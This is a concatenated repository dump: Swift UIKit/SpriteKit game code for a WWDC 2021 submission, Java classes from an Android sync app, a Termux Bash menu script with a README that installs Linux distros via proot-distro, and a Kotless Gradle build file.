15).isActive = true machineContainer.bottomAnchor.constraint(equalTo: self.bottomAnchor).isActive = true machineContainer.translatesAutoresizingMaskIntoConstraints = false let title = UILabel() title.text = "Machine" title.font = UIFont.boldSystemFont(ofSize: 18) title.textColor = .black machineContainer.addSubview(title) title.topAnchor.constraint(equalTo: machineContainer.topAnchor, constant: 20).isActive = true title.leadingAnchor.constraint(equalTo: machineContainer.leadingAnchor, constant: 20).isActive = true title.translatesAutoresizingMaskIntoConstraints = false self.addSubview(goldItem) goldItem.topAnchor.constraint(equalTo: title.topAnchor, constant: 25).isActive = true goldItem.widthAnchor.constraint(equalToConstant: 30).isActive = true goldItem.heightAnchor.constraint(equalToConstant: 50).isActive = true goldItem.centerXAnchor.constraint(equalTo: machineContainer.centerXAnchor).isActive = true goldItem.translatesAutoresizingMaskIntoConstraints = false self.addSubview(lithiumItem) lithiumItem.topAnchor.constraint(equalTo: goldItem.bottomAnchor, constant: 10).isActive = true lithiumItem.widthAnchor.constraint(equalToConstant: 30).isActive = true lithiumItem.heightAnchor.constraint(equalToConstant: 50).isActive = true lithiumItem.centerXAnchor.constraint(equalTo: machineContainer.centerXAnchor).isActive = true lithiumItem.translatesAutoresizingMaskIntoConstraints = false self.addSubview(silverItem) silverItem.topAnchor.constraint(equalTo: goldItem.bottomAnchor).isActive = true silverItem.widthAnchor.constraint(equalToConstant: 30).isActive = true silverItem.heightAnchor.constraint(equalToConstant: 50).isActive = true silverItem.trailingAnchor.constraint(equalTo: goldItem.leadingAnchor, constant: -30).isActive = true silverItem.translatesAutoresizingMaskIntoConstraints = false self.addSubview(copperItem) copperItem.topAnchor.constraint(equalTo: goldItem.bottomAnchor).isActive = true copperItem.widthAnchor.constraint(equalToConstant: 30).isActive = true copperItem.heightAnchor.constraint(equalToConstant: 50).isActive = true copperItem.leadingAnchor.constraint(equalTo: goldItem.trailingAnchor, constant: 30).isActive = true copperItem.translatesAutoresizingMaskIntoConstraints = false self.addSubview(leadItem) leadItem.topAnchor.constraint(equalTo: silverItem.bottomAnchor, constant: 20).isActive = true leadItem.widthAnchor.constraint(equalToConstant: 30).isActive = true leadItem.heightAnchor.constraint(equalToConstant: 50).isActive = true leadItem.trailingAnchor.constraint(equalTo: silverItem.leadingAnchor, constant: -30).isActive = true leadItem.translatesAutoresizingMaskIntoConstraints = false self.addSubview(aluminiumItem) aluminiumItem.topAnchor.constraint(equalTo: copperItem.bottomAnchor, constant: 20).isActive = true aluminiumItem.widthAnchor.constraint(equalToConstant: 30).isActive = true aluminiumItem.heightAnchor.constraint(equalToConstant: 50).isActive = true aluminiumItem.leadingAnchor.constraint(equalTo: copperItem.trailingAnchor, constant: 30).isActive = true aluminiumItem.translatesAutoresizingMaskIntoConstraints = false self.addSubview(nickelItem) nickelItem.topAnchor.constraint(equalTo: leadItem.bottomAnchor, constant: 20).isActive = true nickelItem.widthAnchor.constraint(equalToConstant: 30).isActive = true nickelItem.heightAnchor.constraint(equalToConstant: 50).isActive = true nickelItem.leadingAnchor.constraint(equalTo: leadItem.trailingAnchor, constant: 30).isActive = true nickelItem.translatesAutoresizingMaskIntoConstraints = false self.addSubview(cobaltItem) cobaltItem.topAnchor.constraint(equalTo: aluminiumItem.bottomAnchor, constant: 20).isActive = true cobaltItem.widthAnchor.constraint(equalToConstant: 30).isActive = true cobaltItem.heightAnchor.constraint(equalToConstant: 50).isActive = true cobaltItem.trailingAnchor.constraint(equalTo: aluminiumItem.leadingAnchor, constant: -30).isActive = true cobaltItem.translatesAutoresizingMaskIntoConstraints = false self.addSubview(plasticItem) plasticItem.topAnchor.constraint(equalTo: nickelItem.bottomAnchor).isActive = true plasticItem.widthAnchor.constraint(equalToConstant: 30).isActive = true plasticItem.heightAnchor.constraint(equalToConstant: 50).isActive = true plasticItem.centerXAnchor.constraint(equalTo: machineContainer.centerXAnchor).isActive = true plasticItem.translatesAutoresizingMaskIntoConstraints = false constructButton.isHidden = true constructButton.addTarget(self, action: #selector(constructButtonAction), for: .touchUpInside) self.addSubview(constructButton) constructButton.centerXAnchor.constraint(equalTo: machineContainer.centerXAnchor).isActive = true constructButton.topAnchor.constraint(equalTo: lithiumItem.bottomAnchor, constant: 15).isActive = true constructButton.widthAnchor.constraint(equalToConstant: 100).isActive = true constructButton.heightAnchor.constraint(equalToConstant: 35).isActive = true constructButton.translatesAutoresizingMaskIntoConstraints = false transferAllButton.addTarget(self, action: #selector(transferAllButtonAction), for: .touchUpInside) machineContainer.addSubview(transferAllButton) transferAllButton.leadingAnchor.constraint(equalTo: machineContainer.leadingAnchor, constant: 20).isActive = true transferAllButton.bottomAnchor.constraint(equalTo: machineContainer.bottomAnchor, constant: -20).isActive = true transferAllButton.widthAnchor.constraint(equalToConstant: 100).isActive = true transferAllButton.heightAnchor.constraint(equalToConstant: 35).isActive = true transferAllButton.translatesAutoresizingMaskIntoConstraints = false } @objc func transferAllButtonAction(sender: UIButton) { itemReady = 9 constructButton.isHidden = false transferButton.removeFromSuperview() transferAllButton.removeFromSuperview() inventory = [] selectedInventoryItem = "" selectInventoryItem() for _ in 0...9 { inventory.append("") } goldItem.imageView.isHidden = false silverItem.imageView.isHidden = false copperItem.imageView.isHidden = false lithiumItem.imageView.isHidden = false aluminiumItem.imageView.isHidden = false leadItem.imageView.isHidden = false nickelItem.imageView.isHidden = false cobaltItem.imageView.isHidden = false plasticItem.imageView.isHidden = false invCollectionView.reloadData() } @objc func constructButtonAction(sender: UIButton) { constructionLoading() } func constructionLoading() { let loadingContainer = UIView() loadingContainer.backgroundColor = .gray loadingContainer.layer.cornerRadius = 10 self.addSubview(loadingContainer) loadingContainer.centerXAnchor.constraint(equalTo: machineContainer.centerXAnchor).isActive = true loadingContainer.topAnchor.constraint(equalTo: lithiumItem.bottomAnchor, constant: 15).isActive = true loadingContainer.widthAnchor.constraint(equalToConstant: 140).isActive = true loadingContainer.heightAnchor.constraint(equalToConstant: 35).isActive = true loadingContainer.translatesAutoresizingMaskIntoConstraints = false let loadingLabel = UILabel() loadingLabel.textColor = .white loadingLabel.text = "Constructing..." loadingContainer.addSubview(loadingLabel) loadingLabel.centerXAnchor.constraint(equalTo: loadingContainer.centerXAnchor).isActive = true loadingLabel.centerYAnchor.constraint(equalTo: loadingContainer.centerYAnchor).isActive = true loadingLabel.translatesAutoresizingMaskIntoConstraints = false DispatchQueue.main.asyncAfter(deadline: .now() + 2) { self.delegate?.constructionFinish() } } } class MachineItemView: UIView { var imageView = UIImageView() public init(frame: CGRect = CGRect(x: 0, y: 0, width: 30, height: 50), name: String, imageName: String) { super.init(frame: frame) let imageContainer = UIView() imageContainer.backgroundColor = .systemGray self.addSubview(imageContainer) imageContainer.topAnchor.constraint(equalTo: self.topAnchor).isActive = true imageContainer.leadingAnchor.constraint(equalTo: self.leadingAnchor).isActive = true imageContainer.trailingAnchor.constraint(equalTo: self.trailingAnchor).isActive = true imageContainer.heightAnchor.constraint(equalToConstant: 30).isActive = true imageContainer.translatesAutoresizingMaskIntoConstraints = false imageView.image = UIImage(named: imageName) imageView.contentMode = .scaleAspectFit imageView.backgroundColor = .gray imageView.isHidden = true imageView.restorationIdentifier = imageName self.addSubview(imageView) imageView.topAnchor.constraint(equalTo: imageContainer.topAnchor, constant: 3).isActive = true imageView.leadingAnchor.constraint(equalTo: imageContainer.leadingAnchor, constant: 3).isActive = true imageView.trailingAnchor.constraint(equalTo: imageContainer.trailingAnchor, constant: -3).isActive = true imageView.bottomAnchor.constraint(equalTo: imageContainer.bottomAnchor, constant: -3).isActive = true imageView.translatesAutoresizingMaskIntoConstraints = false let label = UILabel() label.text = name label.font = UIFont.systemFont(ofSize: 10) label.textAlignment = .center self.addSubview(label) label.topAnchor.constraint(equalTo: imageContainer.bottomAnchor, constant: 5).isActive = true label.centerXAnchor.constraint(equalTo: self.centerXAnchor).isActive = true label.translatesAutoresizingMaskIntoConstraints = false } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } } class MachineButton: UIButton { public init(label: String) { super.init(frame: CGRect(x: 0, y: 0, width: 50, height: 20)) self.setTitle(label, for: .normal) self.titleLabel?.font = UIFont.boldSystemFont(ofSize: 14) self.titleLabel?.textColor = .white self.backgroundColor = .systemYellow self.layer.masksToBounds = true self.layer.borderColor = UIColor.white.cgColor self.layer.borderWidth = 2.0 self.layer.cornerRadius = 10 } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } } <file_sep>import PlaygroundSupport import Foundation import SpriteKit public class EndScene: SKScene, SKPhysicsContactDelegate, MachineProtocol { var background = SKSpriteNode(imageNamed: "OutsideBG") var player = PlayerNode() var scientist = ScientistNode(physicBody: true) var dialogView = DialogView() var inventoryView: InventoryView? var inventoryButton: InventoryImageButton? var machineView: MachineView? var matListView = MaterialListView() var matListButton: MaterialListImageButton? var sceneSize: CGSize var isCanMove = true var dialogId = 4 var inventory: [String] = [] public init(size: CGSize, inventory: [String] = []) { self.inventory = inventory sceneSize = size super.init(size: size) } required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } public override func didMove(to view: SKView) { physicsWorld.gravity = CGVector(dx: 0, dy: -5.0) physicsWorld.contactDelegate = self background.zPosition = -1 background.position = CGPoint(x: frame.size.width / 2, y: frame.size.height / 2) background.isUserInteractionEnabled = false addChild(background) self.addChild(FloorNode(size: sceneSize)) self.addChild(MachineNode(size: CGSize(width: 60, height: 90), position: (CGPoint(x: frame.size.width - 130, y: (90 / 2) + 140)))) self.addChild(player) scientist.position = CGPoint(x: self.frame.size.width - 100, y: 100) scientist.xScale = -1 self.addChild(scientist) setupInventoryButton() setupMatListButton() } func setupInventoryButton() { inventoryButton = InventoryImageButton(frame: CGRect(x: 20, y: (self.view?.frame.height)! - 60, width: 40, height: 40)) inventoryButton!.addTarget(self, action: #selector(inventoryButtonAction), for: .touchUpInside) self.view?.addSubview(inventoryButton!) } @objc func inventoryButtonAction(sender : UIButton) { if inventoryView?.isDescendant(of: self.view!) == true { inventoryView?.removeFromSuperview() } else { setupInventory() } } func setupInventory() { inventoryView = InventoryView(frame: CGRect(x: (self.view?.bounds.midX)!, y: (self.view?.bounds.midX)!, width: 500, height: 400), pInventory: inventory) inventoryView?.center = self.view!.center self.view?.addSubview(inventoryView!) } func setupMatListButton() { matListButton = MaterialListImageButton(frame: CGRect(x: 80, y: (self.view?.frame.height)! - 60, width: 40, height: 40)) matListButton!.addTarget(self, action: #selector(matListButtonAction), for: .touchUpInside) self.view?.addSubview(matListButton!) } @objc func matListButtonAction(sender : UIButton) { if matListView.isDescendant(of: self.view!) == true { matListView.removeFromSuperview() } else { setupMatList() } } func setupMatList() { matListView = MaterialListView(frame: CGRect(x: (self.view?.bounds.midX)!, y: (self.view?.bounds.midX)!, width: 300, height: 400)) matListView.center = self.view!.center self.view?.addSubview(matListView) } func setupMachine() { machineView = MachineView(frame: CGRect(x: (self.view?.bounds.midX)!, y: (self.view?.bounds.midX)!, width: 500, height: 400), pInventory: inventory) machineView?.center = self.view!.center machineView?.delegate = self self.view?.addSubview(machineView!) } func constructionFinish() { for view in self.view!.subviews { view.removeFromSuperview() } let scene = ResultScene(size: self.frame.size) let transition:SKTransition = SKTransition.fade(withDuration: 1) self.view?.presentScene(scene, transition: transition) } func setupDialog() { isCanMove = false dialogView.center = self.view!.center dialogView.isUserInteractionEnabled = true self.view?.addSubview(dialogView) let tap: UITapGestureRecognizer = UITapGestureRecognizer(target: self, action: #selector(touchDialogView)) dialogView.addGestureRecognizer(tap) emitDialogs() } @objc func touchDialogView() { emitDialogs() } func emitDialogs() { dialogId += 1 if dialogId <= 7 { let dialogData = DialogData().dialogs let filtered = dialogData.filter { $0.id == dialogId } if filtered.count > 0 { dialogView.dialogLabel.text = filtered[0].dialog dialogView.speaker1.text = filtered[0].speaker1 dialogView.speaker2.text = filtered[0].speaker2 dialogView.imageView1.image = UIImage(named: filtered[0].imageName1) dialogView.imageView2.image = UIImage(named: filtered[0].imageName2) } } else { dialogView.removeFromSuperview() setupMachine() } } public override func touchesEnded(_ touches: Set<UITouch>, with event: UIEvent?) { let touch = touches.first! let location = touch.location(in: self) if dialogView.isDescendant(of: self.view!) { emitDialogs() } if inventoryView == nil || inventoryView?.isDescendant(of: self.view!) == false { if isCanMove && !matListView.isDescendant(of: self.view!) { player.movePlayer(location, frame) } } } public func didBegin(_ contact: SKPhysicsContact) { if contact.bodyA.node?.name == "Player" && ((contact.bodyB.node?.name?.contains("Scientist")) == true) { collisionBetween(player: contact.bodyA.node!, scientist: contact.bodyB.node!) } else if contact.bodyB.node?.name == "Player" && ((contact.bodyA.node?.name?.contains("Scientist")) == true){ collisionBetween(player: contact.bodyB.node!, scientist: contact.bodyA.node!) } } func collisionBetween(player: SKNode, scientist: SKNode) { player.removeAllActions() setupDialog() } } <file_sep>import UIKit public class MaterialListImageButton: UIButton { public override init(frame: CGRect) { super.init(frame: frame) self.frame = CGRect(x: frame.origin.x, y: frame.origin.y, width: 40, height: 40) self.titleLabel?.font = UIFont.systemFont(ofSize: 17) self.setImage(UIImage(named: "List"), for: .normal) } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } } public class MaterialListView: UIView, UITableViewDelegate, UITableViewDataSource { let list: [String] = ["Gold", "Silver", "Copper", "Lithium", "Plastic", "Nickel", "Cobalt", "Lead", "Aluminium"] public override init(frame: CGRect) { super.init(frame: frame) self.backgroundColor = .white self.layer.masksToBounds = true self.layer.borderColor = UIColor.systemYellow.cgColor self.layer.borderWidth = 2.0 self.layer.cornerRadius = 10 let title = UILabel() title.text = "Material List" title.font = UIFont.boldSystemFont(ofSize: 18) title.textColor = .black self.addSubview(title) title.topAnchor.constraint(equalTo: self.topAnchor, constant: 20).isActive = true title.leadingAnchor.constraint(equalTo: self.leadingAnchor, constant: 20).isActive = true title.translatesAutoresizingMaskIntoConstraints = false let closeButton = UIButton() closeButton.setTitle("Close [x]", for: .normal) closeButton.titleLabel?.font = UIFont.systemFont(ofSize: 14) closeButton.setTitleColor(UIColor.black, for: .normal) self.addSubview(closeButton) closeButton.topAnchor.constraint(equalTo: self.topAnchor, constant: 20).isActive = true closeButton.trailingAnchor.constraint(equalTo: self.trailingAnchor, constant: -20).isActive = true closeButton.translatesAutoresizingMaskIntoConstraints = false closeButton.addTarget(self, action: #selector(close), for: .touchUpInside) let tableView = UITableView() tableView.delegate = self tableView.dataSource = self tableView.separatorStyle = .none self.addSubview(tableView) tableView.topAnchor.constraint(equalTo: title.bottomAnchor, constant: 15).isActive = true tableView.leadingAnchor.constraint(equalTo: self.leadingAnchor, constant: 15).isActive = true tableView.trailingAnchor.constraint(equalTo: self.trailingAnchor, constant: -15).isActive = true tableView.bottomAnchor.constraint(equalTo: self.bottomAnchor, constant: -15).isActive = true tableView.translatesAutoresizingMaskIntoConstraints = false tableView.register(MaterialListItemCell.self, forCellReuseIdentifier: "Cell") } @objc func close(sender: UIButton) { self.removeFromSuperview() } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } public func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return list.count } public func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = tableView.dequeueReusableCell(withIdentifier: "Cell", for: indexPath) as! MaterialListItemCell if list[indexPath.row] == "Plastic" { cell.rawImage.image = UIImage(named: "\(list[indexPath.row])Material") cell.label.text = list[indexPath.row] cell.pickaxeImage.isHidden = true } else { cell.rawImage.image = UIImage(named: "\(list[indexPath.row])Raw") cell.materialImage.image = UIImage(named: "\(list[indexPath.row])Material") cell.label.text = list[indexPath.row] } return cell } public func tableView(_ tableView: UITableView, heightForRowAt indexPath: IndexPath) -> CGFloat { return 50 } } class MaterialListItemCell: UITableViewCell { var rawImage = UIImageView() var materialImage = UIImageView() var label = UILabel() let pickaxeImage = UIImageView() public override init(style: UITableViewCell.CellStyle, reuseIdentifier: String?) { super.init(style: style, reuseIdentifier: reuseIdentifier) self.selectionStyle = .none rawImage.contentMode = .scaleAspectFit self.addSubview(rawImage) rawImage.leadingAnchor.constraint(equalTo: self.leadingAnchor, constant: 10).isActive = true rawImage.centerYAnchor.constraint(equalTo: self.centerYAnchor).isActive = true rawImage.widthAnchor.constraint(equalToConstant: 30).isActive = true rawImage.heightAnchor.constraint(equalToConstant: 30).isActive = true rawImage.translatesAutoresizingMaskIntoConstraints = false pickaxeImage.image = UIImage(named: "Pickaxe (1)") pickaxeImage.contentMode = .scaleAspectFit self.addSubview(pickaxeImage) pickaxeImage.leadingAnchor.constraint(equalTo: rawImage.trailingAnchor, constant: 15).isActive = true pickaxeImage.centerYAnchor.constraint(equalTo: self.centerYAnchor).isActive = true pickaxeImage.widthAnchor.constraint(equalToConstant: 15).isActive = true pickaxeImage.heightAnchor.constraint(equalToConstant: 15).isActive = true pickaxeImage.translatesAutoresizingMaskIntoConstraints = false pickaxeImage.image = UIImage(named: "Pickaxe (1)") materialImage.contentMode = .scaleAspectFit self.addSubview(materialImage) materialImage.leadingAnchor.constraint(equalTo: pickaxeImage.trailingAnchor, constant: 15).isActive = true materialImage.centerYAnchor.constraint(equalTo: self.centerYAnchor).isActive = true materialImage.widthAnchor.constraint(equalToConstant: 30).isActive = true materialImage.heightAnchor.constraint(equalToConstant: 30).isActive = true materialImage.translatesAutoresizingMaskIntoConstraints = false label.textAlignment = .right self.addSubview(label) label.trailingAnchor.constraint(equalTo: self.trailingAnchor, constant: -10).isActive = true label.centerYAnchor.constraint(equalTo: self.centerYAnchor).isActive = true label.translatesAutoresizingMaskIntoConstraints = false } public required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } }
8ee0ad2f588fb47422a703b643214e0e54fda590
[ "Swift" ]
18
Swift
alvinmatthew12/WWDC2021-Submission
9a95d6256f7878f1a315e046ab50e9e11cc40e85
40b35457579ae264f96f793981daac776dd4b9e6
refs/heads/master
<repo_name>yogvimal/SyncApp<file_sep>/app/src/main/java/com/example/yogi/syncapp/MySingleton.java package com.example.yogi.syncapp; import android.content.Context; import com.android.volley.Request; import com.android.volley.RequestQueue; import com.android.volley.toolbox.Volley; /** * Created by YOGI on 10-11-2017. */ public class MySingleton { private static MySingleton mySingleton; private RequestQueue requestQueue; private static Context ctx; private MySingleton(Context context) { ctx = context; requestQueue = getRequestQueue(); } private RequestQueue getRequestQueue() { if(requestQueue==null) { requestQueue = Volley.newRequestQueue(ctx); } return requestQueue; } public static synchronized MySingleton getInstance(Context context) { if(mySingleton==null) { mySingleton = new MySingleton(context); } return mySingleton; } public<T> void addToRequestQueue(Request<T> request) { getRequestQueue().add(request); } } <file_sep>/app/src/main/java/com/example/yogi/syncapp/DbContract.java package com.example.yogi.syncapp; /** * Created by YOGI on 10-11-2017. */ public class DbContract { public static final int SYNC_STATUS_OK = 0; public static final int SYNC_STATUS_FAILED = 1; //public static final String SERVER_URL = "http://10.0.2.2/android_php_mysql_test/login.php"; public static final String SERVER_URL = "https://vimalapps.000webhostapp.com/sync_app/login.php"; public static final String UI_UPDATE_BROADCAST = "com.example.syncapp.uiupdatebroadcast"; public static final String DATABASE_NAME = "contactdb"; public static final String TABLE_NAME = "contactinfo"; public static final String NAME = "name"; public static final String SYNC_STATUS = "syncstatus"; }
65f38926119e367c39d636ee0272cb4cf1ef6b57
[ "Java" ]
2
Java
yogvimal/SyncApp
8148f96373a73976f724f9aedc365f49c0911a77
6ef7aaabf4b6d115d3e2314a4a050823d30af96a
refs/heads/master
<file_sep>package lesson2; import java.io.*; public class HeroExternalizableSaver implements HeroSaver{ private final static String FILE_NAME = "file.ser"; public HeroExternalizableSaver() { } public boolean saveHero(Hero hero) { try (FileOutputStream fio = new FileOutputStream(FILE_NAME); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fio)){ objectOutputStream.writeObject(hero); } catch (IOException e) { e.printStackTrace(); return false; } return true; } public Hero recoverHero() { Hero hero = null; try (FileInputStream fis = new FileInputStream(FILE_NAME); ObjectInputStream objectInputStream = new ObjectInputStream(fis)){ hero = (Hero) objectInputStream.readObject(); } catch (IOException | ClassNotFoundException e) { e.printStackTrace(); } return hero; } } <file_sep>package lesson3; public class PingPong { private final Object lock = new Object(); private volatile boolean flag; private int i; public void play(int n) { new Thread(() -> { try { for (int i = 0; i < n; i++) { ping(); } } catch (InterruptedException e) { e.printStackTrace(); } }).start(); new Thread(() -> { try { for (int i = 0; i < n; i++) { pong(); } } catch (InterruptedException e) { e.printStackTrace(); } }).start(); } private void ping() throws InterruptedException { synchronized (lock) { while (flag){ lock.wait(); } System.out.println("Ping " + (++i)); flag = true; lock.notifyAll(); } } private void pong() throws InterruptedException { synchronized (lock) { while (!flag){ lock.wait(); } System.out.println("Pong " + i); flag = false; lock.notifyAll(); } } } <file_sep>package lesson5; import org.hibernate.Session; import org.hibernate.SessionFactory; import java.util.List; public class HibernateDAO implements DAO { private SessionFactory factory = null; private Session session = null; @Override public void addStudent(Student student) { try { factory = SessionFactoryCreator.getSessionFactory(); session = factory.getCurrentSession(); session.beginTransaction(); session.save(student); session.getTransaction().commit(); } finally { factory.close(); if (session != null) { session.close(); } } } @Override public void removeStudent(Long id) { try { factory = SessionFactoryCreator.getSessionFactory(); session = factory.getCurrentSession(); session.beginTransaction(); session.remove(session.get(Student.class, id)); session.getTransaction().commit(); } finally { factory.close(); if (session != null) { session.close(); } } } @Override public void changeStudent(Long studentId, Student student) { try { factory = SessionFactoryCreator.getSessionFactory(); session = factory.getCurrentSession(); session.beginTransaction(); Student newStudent = session.get(Student.class, studentId); newStudent.setName(student.getName()); newStudent.setMark(student.getMark()); session.getTransaction().commit(); } finally { factory.close(); if (session != null) { session.close(); } } } @Override public Student getStudent(Long id) { Student student; try { factory = SessionFactoryCreator.getSessionFactory(); session = factory.getCurrentSession(); session.beginTransaction(); student = session.get(Student.class, id); session.getTransaction().commit(); } finally { factory.close(); if (session != null) { session.close(); } } return student; } @Override public List<Student> getStudents() { List<Student> students; try { factory = SessionFactoryCreator.getSessionFactory(); session = factory.getCurrentSession(); session.beginTransaction(); students = session.createQuery("SELECT s FROM Student s", Student.class).getResultList(); session.getTransaction().commit(); } finally { factory.close(); if (session != null) { session.close(); } } return students; } } <file_sep>import lesson3.Counter; import lesson3.PingPong; import java.util.concurrent.*; public class Main { public static void main(String[] args) { //PingPong pingPong = new PingPong(); //pingPong.play(3); Counter counter = new Counter(); ExecutorService executor = Executors.newFixedThreadPool(10); for (int i = 0; i < 10000; i++) { executor.submit(counter::count); } executor.shutdown(); while (!executor.isTerminated()) { } System.out.println(counter.getValue()); } }
2a95381da4b56dee82f8095203be3aea6a7c9331
[ "Java" ]
4
Java
AntonBelyaevskiy/GeekBrainsTraining
e95e6b3e945d23f313e63daddb673fb6f52eb7db
355cfdd7546eaaf376c8c987d102916917846485
refs/heads/main
<repo_name>JhonTreft/Mars<file_sep>/README.md # Mars Es Un Instalador de distribuciones Linux En Termux .... # _Instalacion_ git clone https://github.com/JONJK/Mars cd Mars chmod + x Viajero.sh bash Viajero.sh # Creado Por lpk ~ # 《| Viajeros 0000 | <file_sep>/Viajero.sh #!/bin/bash #COLORES SOLIDOS negro="\e[1;30m" azul="\e[1;34m" verde="\e[1;32m" cian="\e[1;36m" rojo="\e[1;31m" purpura="\e[1;35m" amarillo="\e[1;33m" blanco="\e[1;37m" #COLORES BAJOS black="\e[0;30m" blue="\e[0;34m" green="\e[0;32m" cyan="\e[0;36m" red="\e[0;31m" purple="\e[0;35m" yellow="\e[0;33m" white="\e[0;37m" ruta=$(pwd) setterm -foreground blue pkg install proot-distro -y sleep 2 clear sleep 2 setterm -foreground magenta echo -e " ────────────────────██████────────── ──────────────────██▓▓▓▓▓▓██──────── ────────────────██▓▓▓▓▒▒▒▒██──────── ────────────────██▓▓▒▒▒▒▒▒██──────── ──────────────██▓▓▓▓▒▒▒▒██────────── ──────────────██▓▓▒▒▒▒▒▒██────────── ────────────██▓▓▓▓▒▒▒▒▒▒██────────── ────────────████▒▒████▒▒██────────── ────────────██▓▓▒▒▒▒▒▒▒▒██────────── ──────────██────▒▒────▒▒██────────── ──────────████──▒▒██──▒▒██────────── ──────────██────▒▒────▒▒██────────── ──────────██▒▒▒▒▒▒▒▒▒▒▒▒██────────── ──────────████████████▒▒▒▒██──────── ────────██▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██────── ──────██▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒██──── ────██▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▒██── ──██▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▒██ ██▓▓▒▒▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▒▒▒▒██ ██▓▓▒▒▓▓▒▒▒▒▒▒▓▓▓▓▒▒▒▒▒▒▒▒▒▒▓▓▓▓▒▒██ ██▓▓▓▓▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▓▓▓▓██ ──████▐▌▓▓▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▐▌▐▌████── ────██▐▌▐▌▌▌▌▌▌▌▌▌▐▌▐▌▐▌▐▌▌▌▐▌██──── ────██▌▌▐▌▐▌▌▌▐▌▌▌▌▌▐▌▌▌▌▌▌▌▌▌██──── ──────██▌▌▐▌▐▌▐▌▐▌▐▌▐▌▐▌▌▌▌▌██────── ──────██▐▌▐▌▐▌████████▐▌▌▌▌▌██────── ────────██▒▒██────────██▒▒██──────── ────────██████────────██████──────── " sleep 2 setterm -foreground blue echo " " echo -e "[+]|======》_[_]_Escoje Una Opci0n : " setterm -foreground green echo " " echo " [1] * Alpine Linux 3.13.1 [7] * Ubuntu 18.04 " echo " [2] * Arch Linux [8] * Ubuntu 20.04 " setterm -foreground red echo " [9] ° Salir [10]* Ayuda " setterm -foreground cyan echo " " echo " [3] * Debian 10 (Buster) " echo " [4] * Fedora 33 " echo " [5] * Kali Nethunter" echo " [6] * Parrot OS (LTS) " echo " " setterm -foreground yellow echo " ↱⤳--⤳Viaj3r0@05461[⇶--⬱ " read -p " ↳⟿-↭ " lpk case ${lpk} in 1) sleep 1 proot-distro install alpine sleep 2 proot-distro login alpine neofetch ;; 2) sleep 2 proot-distro install archlinux sleep 2 proot-distro login archlinux neofetch ;; 3) sleep 2 sleep 1.5 proot-distro install debian-buster sleep 2 proot-distro login debian-buster neofetch ;; 4) sleep 2 proot-distro install fedora-33 sleep 2 proot-distro login fedora-33 neofetch ;; 5) sleep 2 proot-distro install nethunter sleep 2 proot-distro login nethunter neofetch ;; 6) sleep 2 proot-distro install parrot-lts sleep 2 proot-distro login parrot-lts neofetch ;; 7) sleep 2 proot-distro install ubuntu-18.04 sleep 2 proot-distro login ubuntu-18.04 neofetch ;; 8) sleep 2 proot-distro install ubuntu-20.04 sleep 2 proot-distro login ubuntu-20.04 neofetch ;; 9) sleep 2 echo echo " [|] ~~~~~~~~~Salistes Del scrip Gracias Por Utilizarlo~~~~~~~~~ [|] " echo exit ;; 10) setterm -foreground red sleep 3 echo -e " (>Manual<) Autor_=lpk |________________| Creador_lpk~ [Travelers_0234] Este Scrip o Herramienta Es Un Instalador De Distros linux [Uso_] | Elije La Opcion de la Distro Q Deseas Instalar y Esperas y Ya es muy Facil Su Uso Espero les Sirva De Ayuda Thansk ... Algunas Instalaciones Duran Tiempo osea se demoran Solo esperen.. " setterm -foreground yellow read -p "Dale Enter Para volver atras : " enter bash Viajero.sh sleep 48 ;; *) setterm -foreground red sleep 2 echo echo " 《=》 Opcion Incorrecta .-. " echo sleep 2 clear bash Viajero.sh bash Viajero.sh esac source ${ruta}/Viajero.sh
1856283b167ccb92d229582365a2a9455c65b015
[ "Markdown", "Shell" ]
2
Markdown
JhonTreft/Mars
69add7f966d13a06fc0a0620974d392bc1a38d36
6ddf06e519899e18fdec08f753d15539acf7fc18
refs/heads/master
<repo_name>tukiyo320/kotless_example<file_sep>/build.gradle.kts import io.kotless.plugin.gradle.dsl.kotless plugins { java kotlin("jvm") version "1.3.72" id("io.kotless") version "0.1.3" apply true } group = "com.escapesanctuary.kotless.example" version = "1.0-SNAPSHOT" var stage = "dev" repositories { jcenter() } dependencies { implementation(kotlin("stdlib-jdk8")) implementation("io.kotless", "ktor-lang", "0.1.5") testImplementation("junit", "junit", "4.12") } configure<JavaPluginConvention> { sourceCompatibility = JavaVersion.VERSION_1_8 } tasks { compileKotlin { kotlinOptions.jvmTarget = "1.8" } compileTestKotlin { kotlinOptions.jvmTarget = "1.8" } } kotless { config { bucket = "escapesanctuary.kotless.com" prefix = stage terraform { profile = "default" region = "ap-northeast-1" } } webapp { lambda { memoryMb = 1024 timeoutSec = 120 kotless { packages = setOf("com.escapesanctuary.kotless.example") } } deployment { version = stage } } extensions { local { useAWSEmulation = true } } } tasks { register("deployProd") { dependsOn("deploy") doFirst { stage = "prod" } } }
5ae94a189fb9925c1220db275aa38924d1bf37ba
[ "Kotlin" ]
1
Kotlin
tukiyo320/kotless_example
a261e474d9612e38792aebf1c910f1d197fda6b0
a130d7d58fe4e1e233011cb536cfa396320c3152
refs/heads/master
